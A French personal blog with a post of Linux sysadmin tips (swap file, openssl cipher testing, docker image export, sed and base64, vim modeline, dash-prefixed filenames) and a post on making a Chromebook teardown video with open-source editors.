En attendant de pouvoir empêcher une application de faire de la merde, et d’améliorer un peu la gestion de la mémoire du noyau, un collègue a ajouté un fichier de swap d’un 1Go en plus de la partition existante. Voici la procédure suivie, en mode administrateur :

dd if=/dev/zero of=/swapfile bs=1024 count=1048576
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile

Vous devriez voir le résultat en direct sur la taille du swap globale. Et si on veut que ça soit persistant, on peut ajouter la ligne suivante au fichier /etc/fstab :

/swapfile none swap sw 0 0

Evidemment, ne pas utiliser le swap c’est mieux, mais quand vous avez pas le contrôle de l’application, hein…

Tester un cipher suite en particulier avec openssl

Un client nous demande de modifier le paramètre Diffie-Hellman qui plombe ses notes sur les différents tests SSL/TLS. Je fais la modification mais par défaut en testant openssl va prendre un cipher à base de courbes elliptiques, plus récent et mieux noté, donc je vois pas le résultat :

$ openssl s_client -connect site.client.net:443 -servername site.client.net
Peer signing digest: SHA512
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 4541 bytes and written 471 bytes
---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit

Fort heureusement, openssl est plein de ressources et on peut choisir la « qualité » de connexion 🙂

$ openssl s_client -cipher "DHE-RSA-AES256-GCM-SHA384" -connect site.client.net:443 -servername site.client.net
Peer signing digest: SHA512
Server Temp Key: DH, 2048 bits
---
SSL handshake has read 4983 bytes and written 457 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit

Docker, exporter une image

Dans le cadre d’un cluster DC/OS, un problème avec la registry du client empêchait un container de se redéployer sur un autre nœud qui ne disposait pas de l’image. Fort heureusement, on a un petit contournement pour ça, si on a accès à un nœud ou l’image est déjà là :

#Sur la machine où l'image est présente :

$ docker save registry/myimage:lastest | gzip -c > myimage.tgz

#Sur la machine qui doit porter le container

$ gunzip -c myimage.tgz | docker load

Supprimer le début d’un fichier à partir d’une ligne

J’ai eu à extraire d’un fichier de serveur mail la pièce jointe au format PDF. Dans ce format, la pièce jointe en question est encodée en base64 à la fin du mail. La solution, chercher une ligne de référence à partir de laquelle je conserve tout, et supprime le début. Et on fait ça avec sed :

$ sed -i.bak '1,/application\/pdf/d' fichier_mail

Un petit vim pour nettoyer quelques lignes superflues, et on peut décoder :

$ base64 -d fichier_mail > cv.pdf
$ file cv.pdf
$ cv.pdf: PDF document, version 1.5

Forcer la coloration syntaxique dans vim

Lors de modifications lourdes apportées à un fichier de configuration Apache pour un client (multiples virtualhosts avec le même tronc de directives), j’ai déporté les règles communes dans un fichier à part et je l’inclus dans les différents vhosts. Pour m’assurer que la bonne coloration syntaxique est appliquée quand je charge ce fichier amputé des directives de bases qui permettent la détection automatique, j’ai ajouté une petite ligne au début du fichier :

# vim: filetype=apache

Attention aux espaces 🙂 Pour savoir tout ce qu’il est possible de faire, vous pouvez vous manger la doc.

Tiret au début d’un nom de fichier

Il y a des gens comme ça sur terre qu’il faudrait brûler, parmi eux ceux qui me collent un tiret au début du nom d’un fichier. Pourquoi ? Ben le tiret en question est couramment utilisé pour désigner des options de commandes, et ça débouche sur ce genre de message d’erreur à la con sur une palanquée de commandes :

[seboss666@seboss666-ltp ~ ]$ mv -fichier-pourri.txt fichier-pourri.txt
mv : option invalide -- 'c'
Saisissez « mv --help » pour plus d'informations.

Guillemets simples, doubles, rien n’y fait. Pour contourner, il faut que j’utilise une autre astuce, le chemin :

[seboss666@seboss666-ltp ~ ]$ mv ./-fichier-pourri.txt fichier-pourri.txt
[seboss666@seboss666-ltp ~ ]$ l fichier-pourri.txt
-rw-r--r-- 1 seboss666 seboss666 0 21.04.2018 09:55 fichier-pourri.txt

Deux caractères, une frustration évacuée 🙂


C’est tout pour aujourd’hui, mais je me rend compte d’une chose : j’ai du relire tous les billets précédents pour vérifier que je n’avais pas déjà partagé certaines des astuces présentées ici, et il y a un précédent de doublon. Avec le nombre d’articles qui augmente dans la série, je vais devoir m’organiser pour éviter de perdre du temps et peut-être le votre à l’avenir 🙂

Démontage d’un Chromebook : voyage au coeur de la bête

mercredi 18 avril 2018 à 18:30

Nouvel épisode de démontage (ça faisait un bail !) où je change de format parce que ça me démangeait depuis un moment, et c’est le Chromebook dont j’ai déjà parlé il y a longtemps maintenant qui passe au gril. Enfin au tournevis. Et si vous avez quelques minutes, j’ai deux trois bricoles à raconter sur la fabrication de la vidéo.

Pour filmer, j’ai utilisé la GoPro Hero 3 rachetée l’année dernière à Nicolas Simond qui n’en faisait pas grand chose. Petite bestiole qui filme en Full HD 30fps, au début je pensais la coller sur mon front avant de me souvenir qu’il n’y a pas de stabilisation optique, je vous épargne le gerbotron. C’est donc le trépied récupéré chez ma chère maman qui a servi, posé sur le bureau, pour pouvoir obtenir un angle pas trop chiant pour que vous puissiez voir quelque chose. J’ai un peu galéré pour qu’il tienne bien, pour faire en sorte que globalement le Chromebook reste dans le centre de l’image (c’est pas super parfait), la luminosité a un peu de mal par moment à cause d’un soleil bouché par plusieurs nuages, on remarquera la magnifique texture de ma peau avec mes problèmes de circulation sanguine, et le son…

Pour le son, j’ai tenté l’enregistrement avec mon casque Logitech G930 racheté à Arowan à Noël qui ne s’en servait pas, via Audacity. Le même Audacity qui m’a permis de réduire ce satané souffle de fond qui accueille toute prise de son en brut. Je pensais le problème spécifique à Linux, mais non. Ah oui, pour exploiter la puissance de mon vieillissant mais toujours vaillant Core i7 2600, nécessaire lors du montage, j’ai tout fait sous Windows, mais j’ai cherché à utiliser des logiciels qui sont également présents sous Linux, donc majoritairement open-source. Et autant dire que pour la vidéo c’est pas la joie.

Openshot, qui revient très souvent, est tout simplement inutilisable sur mon installation, une fois ouvert, dès qu’un son est émis (exemple celui du changement de dossier dans l’explorateur), il tourne en boucle tant que le logiciel n’est pas tué. Kdenlive existe en beta sous Windows, mais il faut écraser la version d’ffmpeg fournie avec, et une fois lancé, après l’ajout de la première séquence, l’interface ne répond plus qu’à moitié (au moins c’est clairement indiqué beta, donc pas surprenant). On me conseille avidemux, je ne comprend rien à l’interface, je ne vois aucune timeline sur laquelle ajouter mes séquences, ça tient deux minutes. Alternativeto, site définitivement à garder dans un coin de ses favoris/marque-pages de navigateur, m’indique l’existence de Shotcut. Le fonctionnement n’est pas super intuitif, mais on finit par avoir ses séquences ajoutées à la timeline, le découpage des morceaux en trop (le début avec le clap pour la synchro audio, la fin avec les gestes de coupure du reste), et surtout, il ne plante pas du début à la fin, ce qui est grandement appréciable. Shotcut peut être installé soit en mode portable, soit via un paquet snap si vous êtes courageux et appréciez la surcharge de dépendances. Il est également disponible sur AUR pour les arch-fans (ou les feignants sous Manjaro comme moi).

Sinon ma foi, ça fonctionne, mais les options choisies on produit une vidéo certes potable à regarder, mais 2,3Go pour 12 minutes de vidéo, je vous le dis, c’est violent à uploader en ADSL (le fichier brut de la GoPro fait 1,3Go). J’ai donc tenté d’ajuster les paramètres, par défaut le preset de la libx264 est à fast, j’ai descendu à slow, le paramètre de qualité que j’avais passé à 75% est revenu à 65%, moralité, c’est plus contenu, mais c’est affreusement plus long à encoder. Et toujours péniblement long à envoyer, plus de deux heures et demie. En fait, la plupart des options pour l’encodage sont celles de la libx264, et sont à rentrer en mode texte, c’est un peu roots, mais pour des besoins simples, c’est pas violent (à part ce « fast » qui peut coûter cher en poids final, faut penser à le passer en medium au moins, qui est censé être le réglage par défaut de libx264).

Sur ce, je vous laisse avec la vidéo, évidemment j’ai pu dire des conneries comme d’habitude, vous savez comment me corriger 🙂